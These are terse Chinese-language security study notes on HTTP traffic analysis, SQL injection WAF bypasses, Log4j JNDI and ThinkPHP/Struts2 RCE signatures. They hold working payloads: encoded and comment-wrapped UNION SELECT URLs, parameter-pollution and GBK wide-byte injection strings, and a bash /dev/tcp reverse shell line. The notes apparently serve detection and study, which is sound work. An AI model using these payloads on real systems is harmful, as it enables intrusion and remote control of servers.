流量分析
http
304:客户端访问的是上次访问浏览器的本地存储
301:永久重定向
refere:https:xxxqefr.com
localurl:https:pingan.com.cn
从refere过来,访问localurl
302临时重定向
405:服务器拒绝,url的payload没过关
502:中间件访问不到后端
dns域名解析为ip的服务器
vpn:代理客户到服务器的隧道,vpn服务器看不到具体数据包信息,隐私性高,中间人
—————————————————————
web日志
linux-syslog服务
————
sql注入
参数大小写
SelEcT AnD
关键字
select and 替换为null空 =可用>替换
注释+编码
http://ip/index.php?login_id=-15 /*!u%6eion*/ /*!se%6cect*/ 1,2,3,4….
http://ip/index.php?login_id=-15 /*!UNION*/ /*!SELECT*/ 1,2,3,4…”
等价
“http://ip/index.php?login_id=-15 UNION SELECT 1,2,3,4…”,
字母编码(URL编码、base64、16进制(hex转码)
分块传输—-一个字母一行
s
e
l
e
c
t
waf只对get请求进行过滤,所以注意post请求或 post请求把提交的参数放入cookie中绕过
(参数污染)
三元运算符 —-条件?表达式1&表达式2
http://ip/index.php?login_id=15&login_id=16,面对客户端传递两个相同的参数,服务器端可能会这样处理:验证第一个login_id的值-15,而取第二个login_id的值-16。或者相反。这样的话,可以构造如下两个payload:
http://ip/index.php?login_id=15&login_id=-16 union select 1,2,3,4.....
http://ip/index.php?login_id=-15 union select 1,2,3,4.....&login_id=16
宽字节注入
军字占2个字节
http://127.0.0.1/Less-32/?id=1%df’(浏览器解析时进行url编码%27)->%df%27
url:http://127.0.0.1/Less-32/?id=-1%e5%5c%27%20union%20select %201,2,3,4- - +
解析时先变utf-8编码,在gbk触发:(%e5%5c转为UTF-8为e9%8c%a6)
%e5%5c%27---->(addslashes)---->%e5%5c%5c%5c%27----(iconv)---->%e9%8c%a6%5c%5c%27
\\ //配合多反斜杠—url解析会过滤1个或2个/
——————
apache log4j
jndi:ladp:rmi:ip/域名
反弹shell
bash -c bash -i >& /dev/tcp/ip/端口 0>&1
——————
内置函数自触发:
ThinkPHP 5.x RCE
函数:call_user_func_array、system、exec、shell_exec、eval
Struts2
在 Struts 2.3.5-Struts 2.3.31,Struts2.5-Struts2.5.10中,默认配置的Content-Type解析器存在漏洞,导致任意代码执行。
函数:ognl、memberAccess、java.lang.ProcessBuilder
url攻击特征:...*.action?method | ?redirect:${...}
content-type特征:%{#context
报文特征:#_memberAccess
-----WebKitFormBoundaryXd004BVJN9pBYBL2--<br>....<br>----WebKitFormBoundaryXd004BVJN9pBYBL2